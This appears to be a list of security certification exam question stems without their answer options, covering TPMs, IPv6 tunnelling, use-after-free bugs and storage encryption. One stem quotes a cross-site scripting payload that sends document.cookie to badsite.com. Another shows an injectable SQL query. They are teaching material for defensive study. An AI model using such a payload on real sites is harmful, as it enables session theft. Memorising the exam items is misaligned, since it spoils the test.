A popular commercial virtualization platform allows for the creation of virtual hardware. To virtual machines, this
virtual hardware is indistinguishable from real hardware. By implementing virtualized TPMs, which of the
following trusted system concepts can be implemented?

A security administrator notices the following line in a server’s security log:
<input name=’credentials’ type=’TEXT’ value='” + request.getParameter(‘><script>document.location=’http://
badsite.com/?q=’document.cookie</script>’) + “‘;
The administrator is concerned that it will take the developer a lot of time to fix the application that is running on
the server. Which of the following should the security administrator implement to prevent this particular attack?

A security administrator was doing a packet capture and noticed a system communicating with an unauthorized
address within the 2001::/32 prefix. The network administrator confirms there is no IPv6 routing into or out of
the network. Which of the following is the BEST course of action?

A developer is determining the best way to improve security within the code being developed. The developer is
focusing on input fields where customers enter their credit card details. Which of the following techniques, if
implemented in the code, would be the MOST effective in protecting the fields from malformed input?

Joe, a hacker, has discovered he can specifically craft a webpage that when viewed in a browser crashes the
browser and then allows him to gain remote code execution in the context of the victim’s privilege level. The
browser crashes due to an exception error when a heap memory that is unused is accessed. Which of the
following BEST describes the application issue?

The administrator is troubleshooting availability issues on an FCoE-based storage array that uses
deduplication. The single controller in the storage array has failed, so the administrator wants to move the
drives to a storage array from a different manufacturer in order to access the data. Which of the following
issues may potentially occur?

After being notified of an issue with the online shopping cart, where customers are able to arbitrarily change the
price of listed items, a programmer analyzes the following piece of code used by a web based shopping cart.
SELECT ITEM FROM CART WHERE ITEM=ADDSLASHES($USERINPUT);
The programmer found that every time a user adds an item to the cart, a temporary file is created on the web
server /tmp directory. The temporary file has a name which is generated by concatenating the content of the
$USERINPUT variable and a timestamp in the form of MM-DD-YYYY, (e.g. smartphone-12-25-2013.tmp)
containing the price of the item being purchased. Which of the following is MOST likely being exploited to
manipulate the price of a shopping cart’s items?

A user has a laptop configured with multiple operating system installations. The operating systems are all
installed on a single SSD, but each has its own partition and logical volume. Which of the following is the BEST
way to ensure confidentiality of individual operating system data?

A security architect is designing a new infrastructure using both type 1 and type 2 virtual machines. In addition
to the normal complement of security controls (e.g. antivirus, host hardening, HIPS/NIDS) the security architect
needs to implement a mechanism to securely store cryptographic keys used to sign code and code modules onthe VMs. Which of the following will meet this goal without requiring any hardware pass-through
implementations?

A systems administrator establishes a CIFS share on a UNIX device to share data to Windows systems. The
security authentication on the Windows domain is set to the highest level. Windows users are stating that they
cannot authenticate to the UNIX share. Which of the following settings on the UNIX server would correct this
problem?
